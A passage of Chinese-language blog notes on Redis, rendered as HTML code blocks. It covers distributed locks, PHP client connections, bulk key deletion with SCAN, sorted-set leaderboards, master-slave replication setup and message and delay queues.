class="line"></span><br><span class="line">        $redis-&gt;del(<span class="string">'my:lock'</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    原子性问题而面临上面同样的问题。所以这里要用到lua脚本来解决。</span><br><span class="line">    </span><br><span class="line">        $script = <span class="string">'</span></span><br><span class="line"><span class="string">    if redis.call("get",KEYS[1]) == ARGV[1]</span></span><br><span class="line"><span class="string">    then</span></span><br><span class="line"><span class="string">        return redis.call("del",KEYS[1])</span></span><br><span class="line"><span class="string">    else</span></span><br><span class="line"><span class="string">        return 0</span></span><br><span class="line"><span class="string">    end</span></span><br><span class="line"><span class="string">        '</span>;</span><br><span class="line">        $token = uniqid(mt_rand(), <span class="literal">true</span>);</span><br><span class="line">        <span class="keyword">if</span> ($redis-&gt;set(<span class="string">'my:lock'</span>, $token, [<span class="string">'NX'</span>, <span class="string">'EX'</span> =&gt; <span class="number">10</span>])) &#123;</span><br><span class="line">            # todo</span><br><span class="line">    </span><br><span class="line">            $redis-&gt;<span class="built_in">eval</span>($script, [<span class="string">"my:lock"</span>, $token], <span class="number">1</span>);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            echo <span class="string">'get lock failed!'</span>;</span><br><span class="line">        &#125;</span><br></pre></td></tr></table></figure>
<h3 id="php-redis"><a href="#php-redis" class="headerlink" title="php redis"></a>php redis</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">try</span> &#123;</span><br><span class="line">    $redis = <span class="keyword">new</span> Redis();</span><br><span class="line">    $redis-&gt;connect('127.0.0.1', 6379, 1); # 短连接，超过1秒放弃连接https://shuwoom.com/?p=2786</span><br><span class="line"><span class="comment">//    $redis-&gt;open('127.0.0.1', 6379, 1); # 同上</span></span><br><span class="line"><span class="comment">//    $redis-&gt;pconnect('127.0.0.1', 6379, 1); # 长连接，超过1秒放弃连接</span></span><br><span class="line">    $redis-&gt;popen('127.0.0.1', 6379, 1); # 同上</span><br><span class="line"></span><br><span class="line">    # 登录验证密码，返回：true或false</span><br><span class="line">    <span class="keyword">if</span> ($redis-&gt;auth(<span class="string">'password'</span>)) &#123;</span><br><span class="line">        echo <span class="string">'auth success!'</span>;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        echo <span class="string">'auth failed!'</span>;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> Exception(<span class="string">'Redis auth failed!'</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    $redis-&gt;select(0); # 选择redis库，0~15，共16个库</span><br><span class="line">    $redis-&gt;close(); # 释放资源</span><br><span class="line"><span class="comment">//    $redis-&gt;ping(); # 检查是否还在连接</span></span><br><span class="line">&#125; <span class="keyword">catch</span> (Exception $e) &#123;</span><br><span class="line">    var_dump($e-&gt;getMessage());</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="常用命令"><a href="#常用命令" class="headerlink" title="常用命令"></a>常用命令</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">ping ping我们的主机能否链接 链接是否存活</span><br><span class="line">echo 命令 echo demo直接输出</span><br><span class="line">select 选择数据库 select <span class="number">0</span><span class="number">-16</span>个数据库</span><br><span class="line">quit exit 退出链接</span><br><span class="line">dbsize 返回数据库的键的个数</span><br><span class="line">info 返回服务器相关信息</span><br><span class="line">config get 返回服务配置信息</span><br><span class="line">flush db 清空数据库</span><br><span class="line">flushall 删除所有数据库中所有的键</span><br><span class="line">Key-values</span><br><span class="line">keys * 匹配键所有的键. 模糊匹配 keys my* 取出所有已my开头的键</span><br><span class="line">exists 判断是否键 exists name判断是否有name这个键是否存在</span><br><span class="line">del 删除键 del name 删除name的键</span><br><span class="line">expire 设置过期时间 expire key time</span><br><span class="line">ttl key 查看键的过期时间</span><br><span class="line">select database 选择数据库</span><br><span class="line">move key dababase1 讲key移动dao database1中的数据库中</span><br><span class="line">persist 取消键的过期时间</span><br><span class="line">randomkey 随机返回一个键的值</span><br><span class="line">rename 重命名一个键</span><br><span class="line">type key 判断key的数据类型</span><br><span class="line">批量删除 <span class="number">0</span>号数据库中名称含有OMP_OFFLINE的key：</span><br><span class="line"></span><br><span class="line">src/redis-cli -n <span class="number">0</span> keys <span class="string">"*OMP_OFFLINE*"</span>|xargs src/redis-cli -n <span class="number">0</span> del</span><br><span class="line">在redis的客户端环境中并不支持批量删除。</span><br><span class="line"></span><br><span class="line">可以把某个keys的结果全部输出到文件中，比如keys.log</span><br><span class="line"></span><br><span class="line">redis-cli -p port -c command &gt; keys.log</span><br><span class="line">https:<span class="comment">//anttutu.github.io/2017/06/redis/</span></span><br></pre></td></tr></table></figure>
<h3 id="批量删除redis的key"><a href="#批量删除redis的key" class="headerlink" title="批量删除redis的key"></a>批量删除redis的key</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br></pre></td><td class="code"><pre><span class="line">redis-cli -h host -p <span class="number">6379</span> -a pwd -n <span class="number">15</span> --scan --pattern <span class="string">'exchange*'</span> | xargs <span class="number">-0</span> -n <span class="number">5000</span> redis-cli -h host -a pwd -p <span class="number">6379</span> -n <span class="number">15</span> DEL</span><br><span class="line">-h 你的redis服务器地址</span><br><span class="line">-p 端口 默认<span class="number">6379</span></span><br><span class="line">-a 密码</span><br><span class="line">-n 选择redis对应的db</span><br><span class="line"></span><br><span class="line">xargs参数:</span><br><span class="line">-n 按每n个为一组输出参数，如果redis的Key数量大的话可以增加此参数,否则会报错 argument list too long</span><br><span class="line"><span class="number">-0</span> 当key还有引号等特殊字符,加此参数可以屏蔽,使特殊字符失效,不加会报错:</span><br><span class="line">https:<span class="comment">//segmentfault.com/a/1190000016717860</span></span><br><span class="line">每次扫<span class="number">10</span>条 redis-cli  --scan --pattern <span class="string">'app:uid:reg:date:707*'</span>|xargs -n <span class="number">10</span> redis-cli mget</span><br><span class="line"></span><br><span class="line">登录redis通过info查看，内存使用<span class="number">25</span>G多，而KEY也有<span class="number">1.44</span>亿了。。。REIDS中有大量无用而又未设置过期时间的KEY存在。设置个过期时间，举手之劳的事，还是有必要的。</span><br><span class="line"></span><br><span class="line">used_memory_human:<span class="number">24.72</span>G</span><br><span class="line">db0:keys=<span class="number">144856453</span>,expires=<span class="number">25357</span></span><br><span class="line">通过测试机执行 keys prefix* 导致REDIS卡死，其他连接也连不上。所以定位到问题出现在keys命令上，也正如手册上说的造成性能问题。</span><br><span class="line"></span><br><span class="line">如何删除未用到的KEY？</span><br><span class="line"></span><br><span class="line">大部分KEY是有规律的，有特定前缀，需要拿到特定前缀的KEY然后删除，网上有这样的命令：</span><br><span class="line"></span><br><span class="line">redis-cli -a redis-pwd -n <span class="number">0</span> keys <span class="string">"preffix*"</span> | xargs redis-cli -p <span class="number">6379</span> -a redis-pwd -n <span class="number">0</span> del</span><br><span class="line">测试机执行keys “preffix<span class="number">-1</span>*“时间大概<span class="number">40</span>多s，这意味着redis要停<span class="number">40</span>s+，而前缀是按天设置的，这样子需要操作多次，因为业务的原因，不允许这么操作，分分钟都是钱~最后想到的办法是先从测试机上把满足条件的key导到文本，前面的语句通过cat文本去拿。如：</span><br><span class="line"></span><br><span class="line">redis-cli -p <span class="number">6380</span> -a redis-pwd keys <span class="string">"preffix-1*"</span> &gt; <span class="regexp">/home/</span>keys_redis/preffix<span class="number">-1</span></span><br><span class="line">然后通过这些数据删掉生产环境上的key。</span><br><span class="line"></span><br><span class="line">cat /home/keys_redis/preffix<span class="number">-1</span> | xargs redis-cli -a redis-pwd -n <span class="number">0</span> del</span><br><span class="line">删除的速度非常快，内存耗的也挺快，感觉像是有多少耗多少的。执行之后KEY的数量减少了<span class="number">95</span>%+，内存也从<span class="number">25</span>G降到了<span class="number">2</span>G。不过有一个指数升高：mem_fragmentation_ratio，前后的memory对比：</span><br><span class="line"></span><br><span class="line"># Memory 处理前</span><br><span class="line">used_memory:<span class="number">26839186032</span></span><br><span class="line">used_memory_human:<span class="number">25.00</span>G</span><br><span class="line">used_memory_rss:<span class="number">23518339072</span></span><br><span class="line">used_memory_peak:<span class="number">26963439000</span></span><br><span class="line">used_memory_peak_human:<span class="number">25.11</span>G</span><br><span class="line">used_memory_lua:<span class="number">31744</span></span><br><span class="line">mem_fragmentation_ratio:<span class="number">0.88</span></span><br><span class="line">mem_allocator:jemalloc<span class="number">-3.2</span><span class="number">.0</span></span><br><span class="line"></span><br><span class="line"># Memory 处理后</span><br><span class="line">used_memory:<span class="number">2399386704</span></span><br><span class="line">used_memory_human:<span class="number">2.23</span>G</span><br><span class="line">used_memory_rss:<span class="number">4621533184</span></span><br><span class="line">used_memory_peak:<span class="number">26963439000</span></span><br><span class="line">used_memory_peak_human:<span class="number">25.11</span>G</span><br><span class="line">used_memory_lua:<span class="number">31744</span></span><br><span class="line">mem_fragmentation_ratio:<span class="number">1.93</span></span><br><span class="line">mem_allocator:jemalloc<span class="number">-3.2</span><span class="number">.0</span></span><br><span class="line"></span><br><span class="line">https:<span class="comment">//itopic.org/redis-delete-keys.html</span></span><br><span class="line"></span><br><span class="line">&lt;?php</span><br><span class="line"></span><br><span class="line">$redis = <span class="keyword">new</span> Redis();</span><br><span class="line"><span class="comment">//设置扩展在一次scan没有查找出记录时 进行重复的scan 直到查询出结果或者遍历结束为止</span></span><br><span class="line">$redis-&gt;setOption(Redis::OPT_SCAN, <span class="attr">Redis</span>::SCAN_RETRY);</span><br><span class="line"></span><br><span class="line">$match = <span class="string">'foo:*'</span>;</span><br><span class="line">$count = <span class="number">10000</span>;</span><br><span class="line">$it=<span class="literal">null</span>;</span><br><span class="line"> </span><br><span class="line"><span class="comment">//这种用法下我们只需要简单判断返回结果是否为空即可, 如果为空说明遍历结束</span></span><br><span class="line"><span class="keyword">while</span> ($keys = $redis-&gt;scan($it, $match, $count)) &#123;</span><br><span class="line">    $redis-&gt;del($keys);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">?&gt;</span><br><span class="line">在删除的同时注意监控内存变化情况，就能确认问题了：</span><br><span class="line"></span><br><span class="line">shell&gt; watch -d -n <span class="number">1</span> <span class="string">'/path/to/redis-cli info | grep memory'</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 设置遍历的特性为不重复查找，该情况下扩展只会scan一次，所以可能会返回空集合 */</span></span><br><span class="line">$redis-&gt;setOption(Redis::OPT_SCAN, <span class="attr">Redis</span>::SCAN_NORETRY);</span><br><span class="line"> </span><br><span class="line">$it = NULL;</span><br><span class="line">$pattern = <span class="string">'*'</span>;</span><br><span class="line">$count = <span class="number">50</span>;  <span class="comment">// 每次遍历50条，注意是遍历50条，遍历出来的50条key还要去匹配你的模式，所以并不等于就能够取出50条key</span></span><br><span class="line"> </span><br><span class="line"><span class="keyword">do</span></span><br><span class="line">&#123;</span><br><span class="line">    $keysArr = $redis-&gt;scan($it, $pattern, $count);</span><br><span class="line"> </span><br><span class="line">    <span class="keyword">if</span> ($keysArr)</span><br><span class="line">    &#123;</span><br><span class="line">        foreach ($keysArr <span class="keyword">as</span> $key)</span><br><span class="line">        &#123;</span><br><span class="line">            echo $key . <span class="string">"\n"</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"> </span><br><span class="line">&#125; <span class="keyword">while</span> ($it &gt; <span class="number">0</span>);   <span class="comment">//每次调用 Scan会自动改变 $it 值，当$it = 0时 这次遍历结束 退出循环</span></span><br><span class="line"> </span><br><span class="line"></span><br><span class="line"> </span><br><span class="line"></span><br><span class="line">https:<span class="comment">//blog.csdn.net/zhang197093/article/details/74615717</span></span><br><span class="line">https:<span class="comment">//blog.huoding.com/2014/04/11/343</span></span><br></pre></td></tr></table></figure>
<h3 id="有序集合实现-24-小时排行榜实时更新"><a href="#有序集合实现-24-小时排行榜实时更新" class="headerlink" title="有序集合实现 24 小时排行榜实时更新"></a>有序集合实现 24 小时排行榜实时更新</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">利用 ZADD 按小时划分添加用户的积分信息，然后用 ZUNIONSTORE 并集实现 <span class="number">24</span> 小时的游戏积分总和，实现 “<span class="number">24</span> 小时排行榜”；</span><br><span class="line"></span><br><span class="line">   ZUNIONSTORE destination numkeys key [key ...]</span><br><span class="line">    Redis Zunionstore 命令计算给定的一个或多个有序集的并集，其中给定 key 的数量必须以 numkeys 参数指定，并     将该并集(结果集)储存到 destination 。</span><br><span class="line">    默认情况下，结果集中某个成员的分数值是所有给定集下该成员分数值之和 。</span><br><span class="line">    </span><br><span class="line">    Redis 在遇到分数相同时是按照集合成员自身的字典顺序来排序，这里即是按照”user2″和”user3″这两个字符串进行排序，以逆序排序的话 user3 自然排到了前面。要解决这个问题，我们可以考虑在分数中加入时间戳，计算公式为：</span><br><span class="line">    带时间戳的分数 = 实际分数*<span class="number">10000000000</span> + (<span class="number">9999999999</span> – timestamp) </span><br><span class="line">    https:<span class="comment">//learnku.com/articles/30279</span></span><br></pre></td></tr></table></figure>
<h3 id="主从配置"><a href="#主从配置" class="headerlink" title="主从配置"></a>主从配置</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line">cp /usr/local/redis/redis.conf /usr/local/redis/redis<span class="number">.6380</span>.conf</span><br><span class="line"></span><br><span class="line">[root@localhost redis]# vim /etc/redis/redis.conf</span><br><span class="line">bind 0.0.0.0 # 绑定允许访问的ip地址，如本机模拟主从可不改变值仍使用127.0.0.1</span><br><span class="line"></span><br><span class="line">[root@localhost redis]# vim /usr/local/redis/redis.6380.conf</span><br><span class="line">port 6380 # 将端口更改为6380</span><br><span class="line">slaveof 127.0.0.1 6379 # 指定master ip port</span><br><span class="line"></span><br><span class="line">[root@localhost redis]# redis-server /usr/local/redis/redis.conf # 启动master</span><br><span class="line">[root@localhost redis]# redis-server /usr/local/redis/redis.6380.conf # 启动slave</span><br><span class="line">查看 Master 状态</span><br><span class="line"></span><br><span class="line">[liubo@localhost ~]$ redis-cli -p <span class="number">6379</span></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; info</span><br><span class="line"># Server</span><br><span class="line">……</span><br><span class="line"># Clients</span><br><span class="line">……</span><br><span class="line"># Memory</span><br><span class="line">……</span><br><span class="line"># Persistence</span><br><span class="line">……</span><br><span class="line"># Stats</span><br><span class="line">……</span><br><span class="line"># Replication # 关注此区域</span><br><span class="line">role:master # 当前角色,master</span><br><span class="line">connected_slaves:1 # 已连接slave：1个</span><br><span class="line">slave0:ip=127.0.0.1,port=6380,state=online,offset=56,lag=1 # slave0信息</span><br><span class="line">master_replid:<span class="number">7e3</span>b0e1accd31abaf58177160685d51952ea1e90</span><br><span class="line">master_replid2:<span class="number">0000000000000000000000000000000000000000</span></span><br><span class="line">master_repl_offset:<span class="number">56</span></span><br><span class="line">second_repl_offset:<span class="number">-1</span></span><br><span class="line">repl_backlog_active:<span class="number">1</span></span><br><span class="line">repl_backlog_size:<span class="number">1048576</span></span><br><span class="line">repl_backlog_first_byte_offset:<span class="number">1</span></span><br><span class="line">repl_backlog_histlen:<span class="number">56</span></span><br><span class="line"># CPU</span><br><span class="line">……</span><br><span class="line"># Cluster</span><br><span class="line">……</span><br><span class="line">查看 Slave 状态</span><br><span class="line"></span><br><span class="line">[liubo@localhost ~]$ redis-cli -p <span class="number">6380</span></span><br><span class="line"><span class="number">127.0</span><span class="number">.0</span><span class="number">.1</span>:<span class="number">6379</span>&gt; info</span><br><span class="line"># Server</span><br><span class="line">……</span><br><span class="line"># Clients</span><br><span class="line">……</span><br><span class="line"># Memory</span><br><span class="line">……</span><br><span class="line"># Persistence</span><br><span class="line">……</span><br><span class="line"># Stats</span><br><span class="line">……</span><br><span class="line"># Replication # 关注此区域</span><br><span class="line">role:slave # 当前角色,slave</span><br><span class="line">master_host:127.0.0.1 # master相关信息</span><br><span class="line">master_port:<span class="number">6379</span></span><br><span class="line">master_link_status:up # 连接master状态</span><br><span class="line">master_last_io_seconds_ago:<span class="number">4</span></span><br><span class="line">master_sync_in_progress:<span class="number">0</span></span><br><span class="line">slave_repl_offset:<span class="number">84</span></span><br><span class="line">slave_priority:<span class="number">100</span></span><br><span class="line">slave_read_only:<span class="number">1</span></span><br><span class="line">connected_slaves:<span class="number">0</span></span><br><span class="line">master_replid:<span class="number">7e3</span>b0e1accd31abaf58177160685d51952ea1e90</span><br><span class="line">master_replid2:<span class="number">0000000000000000000000000000000000000000</span></span><br><span class="line">master_repl_offset:<span class="number">84</span></span><br><span class="line">second_repl_offset:<span class="number">-1</span></span><br><span class="line">repl_backlog_active:<span class="number">1</span></span><br><span class="line">repl_backlog_size:<span class="number">1048576</span></span><br><span class="line">repl_backlog_first_byte_offset:<span class="number">1</span></span><br><span class="line">repl_backlog_histlen:<span class="number">84</span></span><br><span class="line"># CPU</span><br><span class="line"></span><br><span class="line">https:<span class="comment">//learnku.com/index.php/articles/30765</span></span><br></pre></td></tr></table></figure>
<h3 id="分布式锁"><a href="#分布式锁" class="headerlink" title="分布式锁"></a>分布式锁</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line">$redis = <span class="keyword">new</span> Redis();</span><br><span class="line">$redis-&gt;connect(<span class="string">'127.0.0.1'</span>, <span class="number">6379</span>);</span><br><span class="line">$ok = $redis-&gt;setNX($key, $value);</span><br><span class="line"><span class="keyword">if</span> ($ok) &#123;</span><br><span class="line">    <span class="comment">//获取到锁</span></span><br><span class="line">    ... do something ...</span><br><span class="line">    $redis-&gt;del($key);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$redis-&gt;multi();</span><br><span class="line">$redis-&gt;setNX($key, $value);</span><br><span class="line">$redis-&gt;expire($key, $ttl);</span><br><span class="line">$res = $redis-&gt;exec();</span><br><span class="line"><span class="keyword">if</span>($res[<span class="number">0</span>]) &#123;</span><br><span class="line">    <span class="comment">//获取到锁</span></span><br><span class="line">    ... do something ...</span><br><span class="line">    $redis-&gt;del($key);</span><br><span class="line">&#125;</span><br><span class="line">$script = &lt;&lt;&lt;EOT</span><br><span class="line">    local key   = KEYS[1]</span><br><span class="line">    local value = KEYS[2]</span><br><span class="line">    local ttl   = KEYS[3]</span><br><span class="line"></span><br><span class="line">    local ok = redis.call('setnx', key, value)</span><br><span class="line"></span><br><span class="line">    if ok == 1 then</span><br><span class="line">    redis.call('expire', key, ttl)</span><br><span class="line">    end</span><br><span class="line">    return ok</span><br><span class="line">EOT;</span><br><span class="line"></span><br><span class="line">$res = $redis-&gt;eval($script, [$key,$val, $ttl], 3);</span><br><span class="line">if($res) &#123;</span><br><span class="line">    //获取到锁https://learnku.com/articles/30827</span><br><span class="line">    ... do something ...</span><br><span class="line">    $redis-&gt;del($key);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$ok = $redis-&gt;set($key, $random, array('nx', 'ex' =&gt; $ttl));</span><br><span class="line"></span><br><span class="line">if ($ok) &#123;</span><br><span class="line">    //获取到锁</span><br><span class="line">    ... do something ...</span><br><span class="line">    if ($redis-&gt;get($key) == $random) &#123;</span><br><span class="line">        $redis-&gt;del($key);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">引入了一个随机数，这是为了防止逻辑处理时间过长导致锁的过期时间已经失效，这时候下一个请求就获得了锁，但是前一个请求在逻辑处理完直接删除了锁。</span><br><span class="line"></span><br><span class="line">锁主要用在并发请求如秒杀等场景中，以上便是 redis 锁的实现。</span><br></pre></td></tr></table></figure>
<h3 id="异步消息队列与延时队列"><a href="#异步消息队列与延时队列" class="headerlink" title="异步消息队列与延时队列"></a>异步消息队列与延时队列</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line">$redis = <span class="keyword">new</span> Redis();</span><br><span class="line">$redis-&gt;connect(<span class="string">'127.0.0.1'</span>, <span class="number">6379</span>);</span><br><span class="line"></span><br><span class="line"><span class="comment">//发送消息</span></span><br><span class="line">$redis-&gt;lPush($list, $value);</span><br><span class="line"></span><br><span class="line"><span class="comment">//消费消息</span></span><br><span class="line"><span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        $msg = $redis-&gt;rPop($list);</span><br><span class="line">        <span class="keyword">if</span> (!$msg) &#123;</span><br><span class="line">            sleep(<span class="number">1</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//业务处理</span></span><br><span class="line">     </span><br><span class="line">    &#125; <span class="keyword">catch</span> (Exception $e) &#123;</span><br><span class="line">        echo $e-&gt;getMessage();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">blpop/brpop在队列没有数据的时候，会立即进入休眠状态，一旦数据到来，则立刻醒过来。消息的延迟几乎为零。用blpop/brpop替代前面的lpop/rpop，就完美解决了上面的问题。</span><br><span class="line">将有序集合的value设置为我们的消息任务，把value的score设置为消息的到期时间，然后轮询获取有序集合的中的到期消息进行处理。</span><br><span class="line">实现代码如下：</span><br><span class="line">$redis = <span class="keyword">new</span> Redis();</span><br><span class="line">$redis-&gt;connect(<span class="string">'127.0.0.1'</span>, <span class="number">6379</span>);</span><br><span class="line"></span><br><span class="line">$redis-&gt;zAdd($delayQueue,$tts, $value);</span><br><span class="line"></span><br><span class="line"><span class="keyword">while</span>(<span class="literal">true</span>) &#123;</span><br><span class="line">    <span class="keyword">try</span>&#123;</span><br><span class="line">        $msg = $redis-&gt;zRangeByScore($delayQueue,<span class="number">0</span>,time(),<span class="number">0</span>,<span class="number">1</span>);</span><br><span class="line">        <span class="keyword">if</span>(!$msg)&#123;</span><br><span class="line">            <span class="keyword">continue</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="comment">//删除消息</span></span><br><span class="line">        $ok = $redis.zrem($delayQueue,$msg);</span><br><span class="line">        <span class="keyword">if</span>($ok)&#123;</span><br><span class="line">            <span 